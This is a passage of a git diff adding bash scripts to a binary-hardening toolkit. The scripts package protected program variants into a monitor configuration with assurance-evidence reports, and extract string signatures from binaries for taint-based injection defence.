+				echo "Extra tokens in loaded_from expression $i" 2>&1 
+				exit 1
+			fi
+			if [[ $(basename $lhs) == $local_filename ]]; then
+				dirname $rhs
+				return
+			fi
+		done
+	fi
+
+	# not found.  Check for a default path
+	default_lib_load_path=$(cat $sad_file |jq .default_lib_load_path)
+	if [[ $default_lib_load_path != "null" ]]; then
+		# strip quotes
+		echo $default_lib_load_path | sed -e "s/^\"//" -e "s/\"$//"
+		return 
+	fi
+	echo "/usr/lib"
+	return 
+
+}
+
+# gather_aggregate_assurance_evidence()
+# This function gathers and annotates all lines into an output file
+# This resulting output file will be parsed into human-readable format at a later step 
+gather_aggregate_assurance_evidence()
+{
+	# Inputs: 
+	# 	$1=input file 
+	#	$2=output file
+	# 	$3=variant_label (variant number 1,2,3, etc.)
+	#	$4=binary_name
+	input="$1"
+	output="$2"
+	variant_num="$3"
+	binary_name="$4"
+
+	echo -n "	Gathering aggregate assurance evidence for $binary_name, variant $variant_num ... "
+
+	if [ ! -f "$input" ]; then
+		echo "gather_aggregate_assurance_evidence(): $input FILE NOT FOUND."
+		return
+	fi
+
+	# find the AGGREGATE_ASSURANCE data
+	# 	1. find matching lines
+	#	2. add variant number information
+	transform_names=`grep AGGREGATE_ASSURANCE_ $input | sed "s/AGGREGATE_ASSURANCE_/${binary_name}::variant-${variant_num}::/g"`
+
+	# put the lines into the output file
+	for t in $transform_names
+	do
+		echo "$t" >> $output
+	done
+
+	echo "Done!"
+}
+
+# After aggregate assurance evidence is collected, parse it into human readable form
+parse_aggregate_assurance_file()
+{
+	# Inputs:
+	#	$1= input file containing unsorted aggregated annotated assurance case evidence
+	#		input file format is <binary_name>::<variantIdentifier>::<transformName>::<statEvidence>  
+	#
+	input=$1
+	output=$2
+	variant_set_label=$3
+
+
+	if [ ! -f "$input" ]; then
+		echo "parse_aggregate_assurance_file():  $input FILE NOT FOUND."
+		return
+	fi
+
+	echo -n "	Parsing aggregate assurance evidence for $variant_set_label ... "
+
+	# find the binary names
+	binary_names=`cat $input | awk 'BEGIN{FS="::"}{print $1}' | sort | uniq`
+
+	# for each binary 
+	for b in $binary_names
+	do
+		echo "Variant Set: $variant_set_label" >> $output
+		echo "Binary Name: $b" >> $output
+		echo >> $output
+
+
+		# find the transform names for this binary
+		transform_names=`cat $input |grep $b | awk 'BEGIN{FS="::"} {print $3}' |sort | uniq`
+
+		t_label=A
+		# for each transform
+		for t in $transform_names
+		do
+			echo -n "${t_label}. Transform Name: " >> $output
+			echo "$t" | sed 's/_/ /g' >> $output
+
+			# find the unique stat names 
+			# stat name with values is in 4th field
+			# so remove everything from = to EOL
+			stat_names=`grep "$b" $input | grep "$t" | awk 'BEGIN{FS="::"} {print $4}' | sed "s/=.*//g" | sort | uniq`
+
+			s_label=1
+			for s in $stat_names
+			do
+				echo -n -e "\t" >> $output
+				echo -n "${s_label}. " >> $output
+				# remove the underscores
+				echo "$s" | sed 's/_/ /g' >> $output
+		
+				# find the variant names
+				variant_names=`cat $input | grep $b | awk 'BEGIN{FS="::"} {print $2}' | sort | uniq`
+				v_label=a
+				for v in $variant_names
+				do
+					# find the stat for that variant
+					stat_val=`grep "$b" $input | grep "$t" | grep "$v" | grep "$s" |  awk 'BEGIN{FS="::"} {print $4}' | sed "s/${s}=//g"`
+					echo -e "\t\t${v_label}. ${v}: ${stat_val}" >> $output
+					# increment the t_label to the next value
+					# make use of the fact that perl can increment letters
+					v_label=$( perl -e '++$ARGV[0]; print $ARGV[0];' -- "$v_label" )
+				done
+				echo >> $output
+				# increment the t_label to the next value
+				# make use of the fact that perl can increment letters
+				s_label=$( perl -e '++$ARGV[0]; print $ARGV[0];' -- "$s_label" )
+			done
+			echo >> $output
+			# increment the t_label to the next value
+			# make use of the fact that perl can increment letters
+			t_label=$( perl -e '++$ARGV[0]; print $ARGV[0];' -- "$t_label" )
+		done	
+		echo >> $output
+	done
+
+	echo "Done!"
+}
+
+
+# parse assurance evidence into human readable format
+# $1 input file (assurance evidence)
+# $2 output file (vs-?_variant-?_evidence.txt)
+parse_assurance_file()
+{
+	input=$1
+	output=$2
+
+	if [ ! -f "$input" ]; then
+		echo "parse_assurance_file():  $input FILE NOT FOUND."
+		return
+	fi
+	
+
+	# find the part of the line that is the transform name, strip out the ASSURANCE_ tag 
+	# The space is important to distinguish between variant set AGGREGATE_ASSURANCE and 
+	# per_variant_ASSURANCE
+	transform_names=`grep [[:space:]]ASSURANCE_ $input | grep :: | sed 's/ASSURANCE_//g' | sed 's/^+.*//g'| sed 's/::.*//g' | uniq`
+
+	# count the number of different transform labels
+	j=0
+	for i in $transform_names
+	do
+        	j=`expr $j + 1`
+	done
+
+	# for each transform_name find the lines that match the transform, parse them,
+	# and place them in the output file
+	# simulate outline numbering using 1,2,3... and a,b,c...
+	count=1
+	for t in $transform_names
+	do
+		# Remove any underscores and replace with spaces to make more human-readable
+        	echo "${count}. Transform Name:  `echo $t | sed 's/_/ /g' `" >> $output
+
+		# The space is important to distinguish between variant set AGGREGATE_ASSURANCE and 
+		# per_variant_ASSURANCE
+        	matching_lines=`grep [[:space:]]ASSURANCE_ $input | grep :: | sed 's/^+.*//g' | grep $t`
+
+		# starting letter for labelling
+		letter=a
+        	for m in $matching_lines
+        	do
+                	echo -n -e "\t${letter}. " >> $output
+			# find the stats and print them in human-readable format
+			
+			# get rid of everything before ::
+			# change the = to :
+			# change the underscores to spaces
+                	echo $m | sed 's/^.*:://g' | sed 's/=/: /g' | sed 's/_/ /g'  >> $output
+			# "increment" the letter level
+			letter=$( perl -e '++$ARGV[0]; print $ARGV[0];' -- "$letter")
+        	done
+		# prettier formatting, add blank line
+		echo >> $output
+		# increment the counter level
+        	count=`expr $count + 1`
+	done	
+}
+
+# copy assurance evidence to the generated mvee package
+copy_assurance_evidence()
+{
+	# This should be the assurance_evidence log for the binary file
+	in=$1
+	# This should be the file whose name is vs-?_variant-?_evidence.txt
+	out=$2
+	#  This is the name of the binary
+	exe=$3
+	# is this the main binary?
+	is_main=$4
+	# name of the transformation configuration
+	transform_config_name=$5 
+	# identifier to print that identifies variant set and which variant
+	vs_identifier="$6"
+
+	echo -n "	Copying assurance evidence file for $exe ... "
+
+	# Don't do anything if there isn't a source file.
+	if [[ ! -f "$in" ]]; then
+		echo "No assurance case evidence found for $exe config: $transform_config_name."
+		return
+	fi
+
+	# We will assume that the main exe is handled first, so create the file if is_main is 1
+	if [[ $is_main == 1 ]] ; then
+		# copy to new file
+		echo "Binary Name: $exe" > $out
+		echo "Transforms configuration:  $transform_config_name" >> $out
+		echo >> $out
+		parse_assurance_file $in $out
+
+	else
+		# Append to existing file
+		echo "Binary Name: $exe" >> $out
+		echo "Transforms configuration:  $transform_config_name" >> $out
+		echo "Variant Identifier:  $vs_identifier" >> $out
+		echo >> $out
+		parse_assurance_file $in $out
+	fi
+
+	echo >> $out
+
+	echo "Done!"
+}
+
+
+
+finalize_json()
+{
+	# make directories
+	mkdir -p $outdir
+	mkdir $outdir/global
+	mkdir $outdir/marshaling
+	# only create assurance directory if gathering assurance evidence
+	if [ "x"$use_assurance = "x--enable-assurance" ]; then
+		mkdir $outdir/assurance
+	fi
+
+	# copy jar, python, and bash scripts into package.
+	cp $CFAR_EMT_PLUGINS/*.jar $outdir/marshaling/
+	cp $CFAR_EMT_PLUGINS/*.py $outdir/marshaling/
+	cp $CFAR_EMT_PLUGINS/*.sh $outdir/marshaling/
+
+	# copy distribution.
+	cp -R $CFAR_DIST_EMT_DIR $outdir/marshaling/emt
+
+	# get any changes from the uva branch
+	cp $CFAR_EMT_DIR/*.jar $outdir/marshaling/emt
+
+
+	# shorthand for certain things. 
+	variants="$total_variants"
+	outfile="$outdir/monitor.conf"
+	json=${outfile}
+
+
+	# get the tempalte and put it in place.
+	if [ "$backend" = 'zipr' ]; then
+		cp $PEASOUP_HOME/tools/cfar_configs/zipr_all.json.template $json
+	elif [ "$backend" = 'strata' ]; then
+		cp $PEASOUP_HOME/tools/cfar_configs/strata_all.json.template $json
+	else
+		echo "unknown backend: $backend"
+		exit 1
+	fi
+
+	# read the template and put it into a variable
+	json_contents=$(<$json)
+
+	# count how many variants we create in total.
+	total_variants=0
+
+	# for each variant set
+	for vs in $(seq 1 $total_variant_sets)
+	do
+
+		# initialize the vs_json_contents variable.
+		# to hold the initial list for the variant set description.
+		vs_json_contents=" \"vs-$vs\" : [ <<VARIANT_LIST>> ]"
+
+		# for each variant in the variant set.
+		for seq in $(seq 1 $variants_per_vs )
+		do
+
+			# update count.
+			total_variants=$(expr $total_variants + 1)
+
+			# read in the configuration name and the contents of the variant's json file that was memorized
+			# during the sanity checking.
+			config=${variant_config_arr[$total_variants]}
+			variant_json=${variant_json_arr[$total_variants]}
+
+
+			# update user we're starting a new variant.
+			echo "Including variant $seq (variant_${vs}_${seq}) of type $config."
+
+			# calculate where the variantw ill go on both the generation box and the output box.
+			new_variant_dir="$outdir/vs-$vs/variant-$seq"
+			new_variant_dir_ts="/target_apps/vs-$vs/variant-$seq"
+
+			# make the appropriate subdirs.	
+			mkdir -p $new_variant_dir
+			mkdir $new_variant_dir/extra 2>/dev/null || true
+			mkdir $new_variant_dir/resources 2>/dev/null || true
+
+			#
+			# sanity check that nol/noh configuration settings match the config name.
+			#
+			if [[ $config == *"Noh"* ]]  || [[ $config == *"phase1"* ]] ; then
+				if [[ $use_noh == "--enablenoh" ]] ; then
+					#echo "	noh settings match."
+					echo -n 
+				else
+					echo
+					echo "--enablenoh setting does not match, config is Noh, use_noh is off"
+					exit 1
+				fi
+			else 
+				if [[ $use_noh == "--disablenoh" ]] ; then
+					#echo "	noh settings match."
+					echo -n 
+				else
+					echo
+					echo "--enablenoh setting does not match, config is not noh, use_noh is on"
+					exit 1
+				fi
+			fi
+			if [[ $config == *"Nol"* ]]  || [[ $config == *"phase1"* ]] ; then
+				if [[ $use_nol == "--enablenol" ]] ; then
+					#echo "	--enablenol settings match."
+					echo -n 
+				else
+					echo
+					echo "--enablenol setting does not match"
+					exit 1
+				fi
+			else 
+				if [[ $use_nol == "--disablenol" ]] ; then
+					#echo "	--enablenol settings match."
+					echo -n 
+				else
+					echo
+					echo "--enablenol setting does not match"
+					exit 1
+				fi
+			fi
+
+			#echo seq=$seq
+			#echo config=$config
+			#echo variant_json=$variant_json
+
+			# make sure we have a .json file.
+			if [ ! -f $variant_json ]; then
+				echo "Error $variant_json missing.  Did protection process fail?"
+				exit 4
+			fi
+
+			# start with ps_dir
+			ps_dir=$(dirname $variant_json)
+
+			# get path to exe
+			full_exe_dir=$(dirname $ps_dir)
+
+			# get path to exe
+			struct_set_dir=$(dirname $full_exe_dir)
+
+			# figure out how many variants in the structured set.
+			struct_set_size=$(ls $struct_set_dir |wc -l)
+			struct_set_no=$(basename $full_exe_dir |sed "s/v//")
+
+
+			# remove host's portion of the path to get path on target
+			exe_dir=$(echo $full_exe_dir|sed "s|^$indir||")
+
+			# update user.
+			echo "	Found variant at $full_exe_dir "
+
+			# read variant config
+			variant_config_contents=$(<$variant_json)
+
+			# create output for main exe
+			mkdir -p $new_variant_dir/bin
+			mkdir -p $new_variant_dir/bin/peasoup_executable_dir/
+			cp $full_exe_dir/$main_exe $new_variant_dir/bin
+
+			# new_variant_dir_ts="/target_apps/vs-$vs/variant-$seq"
+			copy_stuff $full_exe_dir/peasoup_executable_dir $new_variant_dir/bin/peasoup_executable_dir $main_exe $new_variant_dir_ts/bin/peasoup_executable_dir 1
+				
+			if [ "x"$use_assurance = "x--enable-assurance" ]; then
+				# copy assurance evidence
+				copy_assurance_evidence $full_exe_dir/peasoup_executable_dir/logs/assurance_case_evidence.log  $outdir/assurance/vs-${vs}_variant-${seq}_evidence.txt $main_exe 1 $config "vs-${vs}_variant-${seq}"
+
+				# gather aggregate assurance evidence
+				gather_aggregate_assurance_evidence $full_exe_dir/peasoup_executable_dir/logs/assurance_case_evidence.log  "$outdir/assurance/vs-${vs}_aggregate_evidence.tmp.txt" $seq $main_exe 
+			fi
+			
+			# echo "exe_dir=$exe_dir"
+
+			# get the variant number for this config (e.g., get "v0" or "v1")
+			var_num_dir=$(basename $exe_dir)
+
+			# fill in any libraries that the variants should refer to
+			for lib in $libraries
+			do
+				# echo adding lib $lib
+				lib_dir="/vs-$vs/target_app_libs/dh-$lib/$config/$var_num_dir"
+
+				if [ "$main_exe" ==  "$lib" ]; then
+					#cp -R $indir/$lib_dir/peasoup_executable_dir $new_variant_dir/lib/peasoup_executable_dir.$lib.$config
+					mkdir -p $new_variant_dir/lib/peasoup_executable_dir.$lib.$config
+					cp -R $indir/$lib_dir/peasoup_executable_dir/*.so $new_variant_dir/lib/peasoup_executable_dir.$lib.$config/
+					cp -R $indir/$lib_dir/peasoup_executable_dir/*config $new_variant_dir/lib/peasoup_executable_dir.$lib.$config/
+				fi
+		
+				# note the weird $'\n' is bash's way to encode a new line.
+				# set line=  ,\n"alias=file" -- but the bash is ugly, and I can't do better.
+				if [[ $lib == mod* ]] && [[ $server = "APACHE" ]]; then
+					mkdir -p $new_variant_dir/modules 2>/dev/null || true
+					cp  $indir/$lib_dir/$lib $new_variant_dir/modules
+					line=",  "$'\n\t\t\t'"  \"/testing/content/apache_support/modules/$lib=$new_variant_dir_ts/modules/$lib\" "
+					copy_stuff $indir/$lib_dir/peasoup_executable_dir $new_variant_dir/modules/$lib-peasoup_executable_dir $lib $new_variant_dir_ts/modules/$lib-peasoup_executable_dir 0
+				else
+					mkdir -p $new_variant_dir/lib 2>/dev/null || true
+					cp  $indir/$lib_dir/$lib $new_variant_dir/lib
+					target_path=$(get_target_path_to $lib) || exit $?
+					line=",  "$'\n\t\t\t'"  \"$target_path/$lib=$new_variant_dir_ts/lib/$lib\" "
+					copy_stuff $indir/$lib_dir/peasoup_executable_dir $new_variant_dir/lib/$lib-peasoup_executable_dir $lib $new_variant_dir_ts/lib/$lib-peasoup_executable_dir 0
+				fi
+				if [ "x"$use_assurance = "x--enable-assurance" ]; then
+					# copy assurance evidence
+					copy_assurance_evidence $indir/$lib_dir/peasoup_executable_dir/logs/assurance_case_evidence.log  $outdir/assurance/vs-${vs}_variant-${seq}_evidence.txt $lib 0 $config "vs-${vs}_variant-${seq}"
+					# gather aggregate assurance evidence
+					gather_aggregate_assurance_evidence $indir/$lib_dir/peasoup_executable_dir/logs/assurance_case_evidence.log  $outdir/assurance/vs-${vs}_aggregate_evidence.tmp.txt "$seq" $lib 
+
+				fi
+				variant_config_contents="${variant_config_contents//,<<LIBS>>/$line,<<LIBS>>}"
+		
+			done
+
+			if [ "x"$use_nol = "x--enablenol" ]; then
+				line=",  "$'\n\t\t\t'"  \"<<EXEPATH>>/peasoup_executable_dir/ld-linux-x86-64.so.2.nol=<<EXEPATH>>/peasoup_executable_dir/ld-linux-x86-64.so.2.nol\" "
+				variant_config_contents="${variant_config_contents//,<<LIBS>>/$line,<<LIBS>>}"
+				variant_config_contents="${variant_config_contents//,<<LDLIB>>/$line,<<LDLIB>>}"
+				binname=""
+				# ok, now we need the binary name
+				if [ "$backend" = 'zipr' ]; then
+					# unfortunately, the new way of doing all this relies on the new interp being shorter than the old one, so we need to do this:
+					cp $new_variant_dir/bin/peasoup_executable_dir/ld-nol.so.ubuntu $outdir/global/
+					cp $new_variant_dir/bin/peasoup_executable_dir/ld-nol.so.centos $outdir/global/
+				elif [ "$backend" = 'strata' ]; then
+					# this is still on patchelf due to changing that being complex
+					echo "trying patch"
+					$CFAR_HOME/non_overlapping_libraries/patchelf --set-interpreter $new_variant_dir_ts/bin/peasoup_executable_dir/ld-linux-x86-64.so.2.nol $new_variant_dir/bin/peasoup_executable_dir/a.stratafied
+				fi
+			else
+				# strata workarounds...
+				line=",  "$'\n\t\t\t'"  \"/lib64/ld-linux-x86-64.so.2=/lib64/ld-linux-x86-64.so.2.nol\" "
+				variant_config_contents="${variant_config_contents//<<LDLIB>>/$line,<<LDLIB>>}"
+			fi
+
+			# handle structured nol/noh
+			if [[ $config == *"struct"* ]] ; then 
+				echo $struct_set_size > $new_variant_dir/nolnoh_config
+				echo $struct_set_no >> $new_variant_dir/nolnoh_config
+				echo "	Struct noh/nol is enabled: $struct_set_no / $struct_set_size "
+				if [[ $config == *"probNoh"* ]] || [[  $config == *"probNol"* ]] ; then
+					echo
+					echo "Cannot have structured xforms and probNoh or probNol.  Fatal error. "
+					echo
+					exit 1
+				fi
+			else
+				# assume we are variant  #(rand 0-3)
+				echo 4 > $new_variant_dir/nolnoh_config
+			fi
+	
+
+			variant_name="variant_${vs}_${seq}"
+
+			# now, add any extra aliases that we may need from the suppoliment file
+			# grab contents
+			if [[ ! -z $sad_file ]]; then
+				supplemental_aliases=$(cat $sad_file |jq .additional_aliases)
+				supplemental_aliases=$(echo "$supplemental_aliases" |head -n -1|tail -n +2)     # trim open and close []'s
+
+				# fill in fields
+				supplemental_aliases="${supplemental_aliases//\#VAR_NUM\#/$seq}"
+				supplemental_aliases="${supplemental_aliases//\#VARSET_NUM\#/$vs}"
+				supplemental_aliases="${supplemental_aliases//\#VAR_NAME\#/$variant_name}"
+				supplemental_aliases="${supplemental_aliases//\#VARSET_NAME\#/vs-$vs}"
+			fi
+			# add to variant config
+			if [[ ! -z $supplemental_aliases ]]; then
+				variant_config_contents="${variant_config_contents//<<LIBS>>/$supplemental_aliases,<<LIBS>>}"
+			fi
+
+			# sub in other variant_config fields
+			variant_config_contents="${variant_config_contents//<<EXEPATH>>/$new_variant_dir_ts/bin}"
+			variant_config_contents="${variant_config_contents//<<VARIANTNUM>>/$variant_name}"
+			variant_config_contents="${variant_config_contents//<<VARIANTINDEX>>/$seq}"
+			variant_config_contents="${variant_config_contents//<<VARIANTDIR>>/$new_variant_dir_ts}"
+			json_contents="${json_contents//<<VARIANT_CONFIG>>/$variant_config_contents,<<VARIANT_CONFIG>>}"
+
+			# only put variant set 1 in the default set.
+			if [[ $vs = 1 ]]; then
+				json_contents="${json_contents//<<VARIANT_LIST>>/\"$variant_name\",<<VARIANT_LIST>>}"
+			fi
+			vs_json_contents="${vs_json_contents//<<VARIANT_LIST>>/\"$variant_name\",<<VARIANT_LIST>>}"
+
+
+			seq=$(expr $seq + 1)
+
+		done
+
+		if [ "x"$use_assurance = "x--enable-assurance" ]; then
+			if [ ! -f "$outdir/assurance/vs-${vs}_aggregate_evidence.tmp.txt" ]; then
+				echo "There does not appear to be any AGGREGATE ASSURANCE evidence to gather."
+				echo "There are no transformations which produce aggregate (inter-variant) evidence for vs-${vs}." >> "$outdir/assurance/vs-${vs}_aggregate_evidence.txt"
+
+			else
+				# parse the aggregated assurance case evidence for the variant set
+				parse_aggregate_assurance_file "$outdir/assurance/vs-${vs}_aggregate_evidence.tmp.txt" "$outdir/assurance/vs-${vs}_aggregate_evidence.txt" "vs-${vs}"
+
+				# remove the intermediate file
+				rm -f "$outdir/assurance/vs-${vs}_aggregate_evidence.tmp.txt"
+			fi
+			
+		fi
+		
+
+		json_contents="${json_contents//<<VARIANT_SETS>>/$vs_json_contents,<<VARIANT_SETS>>}"
+	done
+
+	# copy libpthread_exit.so and fix_loader
+#	cp $CFAR_HOME/pthread_exit/libpthread_exit.so $outdir/global/
+	cp $CFAR_HOME/non_overlapping_libraries/fix_loader.sh $outdir/global/
+
+
+#	if [ $server = "APACHE" ]; then
+#		ld_preload_var="/target_apps/global/libpthread_exit.so"
+#	fi
+
+	if [ "x"$use_diehard  = "x--diehard" -o  "x"$use_libtwitcher  = "x--libtwitcher" ]; then
+		ld_preload_var="/variant_specific/libheaprand.so:$ld_preload_var"
+
+	fi
+	if [ "x"$use_noh = "x--enablenoh" ]; then
+		ld_preload_var="/variant_specific/noh.so:$ld_preload_var"
+	fi
+	# remove leading/trailing spaces.
+	ld_preload_var=${ld_preload_var%% }
+	ld_preload_var=${ld_preload_var## }
+	ld_preload_var="${ld_preload_var}:$extra_preloads"
+	json_contents="${json_contents//<<ENV>>/\"LD_PRELOAD=$ld_preload_var\",<<ENV>>}"
+
+	# deal with extra ENV from supplement
+	if [[ ! -z $sad_file ]] ; then
+		sad_contents=$(cat $sad_file |jq .additional_env)
+		if [[ $sad_contents != 'null' ]]; then
+			sad_contents=$(echo "$sad_contents" |head -n -1|tail -n +2)     # trim open and close []'s
+			if [[ ! -z $sad_contents ]]; then
+				json_contents="${json_contents//<<ENV>>/$sad_contents,<<ENV>>}"
+			fi
+		fi
+	fi
+
+	# if we are supposed to include checkpoint/restore lines in the file
+	if [ "x"$use_includecr = "x--include-cr" ]; then
+		echo "Including C/R support."
+		# grab the appropriate contents for cp/rest and monitor settings.
+		pre_checkpoint_cmd_contents=$(cat $PEASOUP_HOME/tools/cfar_configs/pre_checkpoint_cmd.json.template)
+		cr_contents=$(cat $PEASOUP_HOME/tools/cfar_configs/cr_chunk.json.template)
+		monitor_contents=$(cat $PEASOUP_HOME/tools/cfar_configs/monitor_chunk_with_cr.json.template)
+
+		#echo setting monitor chunk to: $monitor_contents
+		json_contents="${json_contents//<<CR>>/$cr_contents}"
+		json_contents="${json_contents//<<MONITOR>>/$monitor_contents}"
+
+		# if doing heap marshaling, use the precheckpoint cmd
+		if [ "x"$use_diehard  = "x--diehard" ]; then
+			json_contents="${json_contents//<<PRECHECKPOINTCMD>>/$pre_checkpoint_cmd_contents}"
+		# else remove it
+		else
+			json_contents="${json_contents//<<PRECHECKPOINTCMD>>,/}"
+			json_contents="${json_contents//<<PRECHECKPOINTCMD>>/}"
+		fi
+	else
+		echo "Not doing C/R support."
+		# grab the appropriate contents monitor settings and remove c/r marker
+		monitor_contents=$(cat $PEASOUP_HOME/tools/cfar_configs/monitor_chunk.json.template)
+		#echo setting monitor chunk to: $monitor_contents
+		json_contents="${json_contents//<<CR>>/}"
+		json_contents="${json_contents//<<MONITOR>>/$monitor_contents}"
+	fi
+
+
+	get_main_exe_path
+
+	if [[ $do_detach == 'null' ]] ; then
+		json_contents="${json_contents//<<DETACH_VARIANTS>>,/}"
+		json_contents="${json_contents//<<DETACH_VARIANTS>>/}"
+	else
+		line='"detach_variants" : '$do_detach
+		json_contents="${json_contents//<<DETACH_VARIANTS>>/$line}"
+	fi
+
+	# remove variant_config placeholders
+	json_contents="${json_contents//<<MAINEXE>>/$main_exe_path}"
+	json_contents="${json_contents//,<<VARIANT_CONFIG>>/}"
+	json_contents="${json_contents//,<<VARIANT_LIST>>/}"
+	json_contents="${json_contents//,<<VARIANT_SETS>>/}"
+	json_contents="${json_contents//,<<ENV>>/}"
+	json_contents="${json_contents//<<ENV>>/}"
+	json_contents="${json_contents//,<<LIBS>>/}"
+	json_contents="${json_contents//<<LIBS>>/}"
+	json_contents="${json_contents//,<<LDLIB>>/}"
+	json_contents="${json_contents//<<LDLIB>>/}"
+	json_contents="${json_contents//<<SERVER>>/$server}"
+	json_contents="${json_contents//<<ARGS>>/$args}"
+	json_contents="${json_contents//, <<CODE_MAP>>/}"
+	json_contents="${json_contents//<<CODE_MAP>>/}"
+	json_contents="${json_contents//, <<SCOOP_MAP>>/}"
+	json_contents="${json_contents//<<SCOOP_MAP>>/}"
+	json_contents="${json_contents//, <<P1_MAP>>/}"
+	json_contents="${json_contents//<<P1_MAP>>/}"
+	if [[ -z "$class" ]]; then
+		# remove class field
+		json_contents="${json_contents//<<CLASS>>,/}"
+	else
+		# put proper class in place.
+		json_contents="${json_contents//<<CLASS>>/\"class\" : \"$class\"}"
+	fi
+
+	echo "$json_contents" > $json.ugly
+	echo "$json_contents" |json_pp > $json
+
+	echo "Finalized $json as atd config."
+}
+
+get_main_exe_path()
+{
+	main_exe_path="/variant_specific/$mainexe_opt"
+
+	if [[ ! -z $sad_file ]] ; then
+	
+		sad_contents=$(cat $sad_file |jq .per_file_load_path)
+		if [[ $sad_contents != 'null' ]]; then
+			sad_contents=$(echo "$sad_contents" |head -n -1|tail -n +2)     # trim open and close []'s
+
+			for i in "$sad_contents"
+			do
+				i=$(echo $i | sed -e "s/^\"//" -e "s/\"$//")
+				tokens=(${i})
+
+				lhs=${tokens[0]}
+				middle=${tokens[1]}
+				rhs=${tokens[2]}
+
+				if ! [[ $middle  = "loaded_from" ]]; then
+					echo "Cannot parse 'lhs loaded_from rhs' from $i"
+					exit 1
+				fi			
+				if [[ ! -z ${tokens[3]} ]]; then
+					echo "Extra tokens in loaded_from expression $i"
+					exit 1
+				fi
+				if [[ $(basename $lhs) == $mainexe_opt ]]; then
+					main_exe_path="$rhs"
+					break;
+				fi
+			done
+		fi
+	fi
+}
+
+
+main()
+{
+
+	check_opts "$@"
+
+	sanity_check
+
+	finalize_json
+
+}
+
+main "$@"
diff --git a/peasoup_examples/tools/generate_relocfile.sh b/peasoup_examples/tools/generate_relocfile.sh
new file mode 100755
index 0000000000000000000000000000000000000000..f83cb3f2c3e6d713bac16cc8af5ab330998a4a8c
--- /dev/null
+++ b/peasoup_examples/tools/generate_relocfile.sh
@@ -0,0 +1,4 @@
+#!/bin/bash 
+
+$PS_GREP -i -e " rl " -e " () " -e " IL " $1 > $1.reloc 
+
diff --git a/peasoup_examples/tools/generate_string_signatures.sh b/peasoup_examples/tools/generate_string_signatures.sh
new file mode 100755
index 0000000000000000000000000000000000000000..cb74bc48ac60e4fbb5f91470e18033a873549f4a
--- /dev/null
+++ b/peasoup_examples/tools/generate_string_signatures.sh
@@ -0,0 +1,173 @@
+#!/bin/bash
+
+#
+# Description: 
+#    Extracts and computes set of string patterns given binary/library as input
+#    The output string patterns are stored in a file in reverse-length order
+#
+# Usage:
+#    generate_string_signatures.sh <filename> [<signatures> [<stringLogFile>]]
+#
+#    $1       'input file
+#    $2       'output file 
+#    $3       'input string log file 
+#
+# Output:
+#    The file <$1.sigs> will contain a set of string patterns, one per line,
+#    in reverse-length sorted order
+#
+# Intended Usage:
+#    To enable a cheap way of specifying tainted data in a binary program
+#    The key observation is that trusted/native strings from which SQL queries are constructed
+#    will be present as strings in the binary. Such strings can therefore be marked as trusted, 
+#    or non-tainted. Any portion of a string passed to a critical function 
+#    that is not found in the binary is probably external, and therefore
+#    should be marked as potentially tainted.
+#
+#    This quick & dirty way of specifying taint markings should work for a variety of interpreters,
+#    including SQL, LDAP, XPath, and Shells.
+#
+# Blame/Credit: Original idea by Jason Hiser. 
+# Author: Anh
+#
+# Future extensions:
+#    - Combine with profiling info
+#    - Protection for shell/sql/ldap/xml/... injection attacks
+#
+# Features:
+#    - Filters out any found symbol names from output file
+#    - Uses simple heuristics to break up potential format strings
+#        for example, "hello %s, how are you", will result in the following 3 patterns in the output file:
+#              (1) hello %s, how are you
+#              (2) hello 
+#              (3) , how are you
+#        nb: line (2) has a trailing space
+# 
+# Log
+# ----------------------------------------------------------------------------------
+# 20120713 Anh - decent working prototype, simple splitting format string specifiers
+#
+
+defaultSigs=$PEASOUP_HOME/tools/signatures/sqlite.sigs
+
+# copy sqlite sigs for debugging
+cp $defaultSigs .
+
+inputFile=$1
+if [ -z $2 ];then
+	finalSigFile=$1.sigs
+else
+	finalSigFile=$2
+fi
+
+stringLogFile=$3
+
+tmpFile=$1.$$.tmp
+tmpFile2=$1.$$.2.tmp
+tmpFile3=$1.$$.3.tmp
+tmpFile4=$1.$$.4.tmp
+tmpFile5=$1.$$.5.tmp
+tmpFile6=$1.$$.6.tmp
+tmpSymbols=$1.$$.sym.tmp
+
+# setup/cleanup
+rm $finalSigFile 2>/dev/null
+rm $tmpFile $tmpFile2 $tmpFile3 $tmpFile4 $tmpFile5 $tmpSymbols 2>/dev/null
+touch $tmpFile2 $tmpFile3 $tmpFile4 $tmpFile5 $finalSigFile
+
+# get strings & symbols
+if [ -z $stringLogFile ]; then
+	# get strings from ELF file
+	strings -n 2 $inputFile | sort  | uniq  > $tmpFile2            
+else
+    # get string from smart string extractor (used by ps_analyze.sh)
+	grep -i "found string:" $stringLogFile | sed "s/Found string: \"//" | sed "s/\" at.*$//" > $tmpFile2
+fi
+
+# convert parameterized arguments of the form ?1 or (?1) to %s so that we split the fragments
+# split fragments on ;
+grep "(?[0-9][0-9]*)" $tmpFile2 | sed "s/(?[0-9][0-9]*)/\n/g" >> $tmpFile
+grep "?[0-9][0-9]*" $tmpFile2 | sed "s/?[0-9][0-9]*/\n/g" >> $tmpFile
+grep ";" $tmpFile2 | sed "s/;/\n/g" >> $tmpFile
+cat $tmpFile >> $tmpFile2
+rm $tmpFile
+
+cat $defaultSigs >> $tmpFile2        # add signatures from sqlite itself
+sort  $tmpFile2 | uniq  > $tmpFile                                 
+
+nm -a $inputFile | grep -v " U " | grep -v " w " | cut -d' ' -f3 | sort | uniq > $tmpSymbols # get symbol names
+
+
+#
+# break up strings with potential format specifiers
+# and add them to the list of patterns
+#
+
+# @todo: this is a hack until we use regular expressions
+
+#
+# look for %s, %d and other format specifiers
+#
+# @todo make this a function and call a whole bunch of time
+# until no more delimeters are found
+#
+# @todo don't do it here, instead use regex in library code
+# to get patterns
+#     SELECT * from table where userid='%s'     --> %s should become a regex pattern that matches all valid strings
+#     SELECT * from table where userid='%d'     --> %s should become a regex pattern that matches all valid numbers
+#
+
+# grab lhs and rhs
+grep "%[-]*[0-9]*s" $tmpFile | sed "s/%[-]*[0-9]*s/#/" | cut -d'#' -f1 >> $tmpFile2
+grep "%[-]*[0-9]*s" $tmpFile | sed "s/%[-]*[0-9]*s/#/" | cut -d'#' -f2 >> $tmpFile3
+grep "%[0-9]*[l,ll]*d" $tmpFile | sed "s/%[0-9]*[l,ll]*d/#/" | cut -d'#' -f1 >> $tmpFile2
+grep "%[0-9]*[l,ll]*d" $tmpFile | sed "s/%[0-9]*[l,ll]*d/#/" | cut -d'#' -f2 >> $tmpFile3
+grep "%[0-9,.]*f" $tmpFile | sed "s/%[0-9,.]*f/#/" | cut -d'#' -f1 >> $tmpFile2
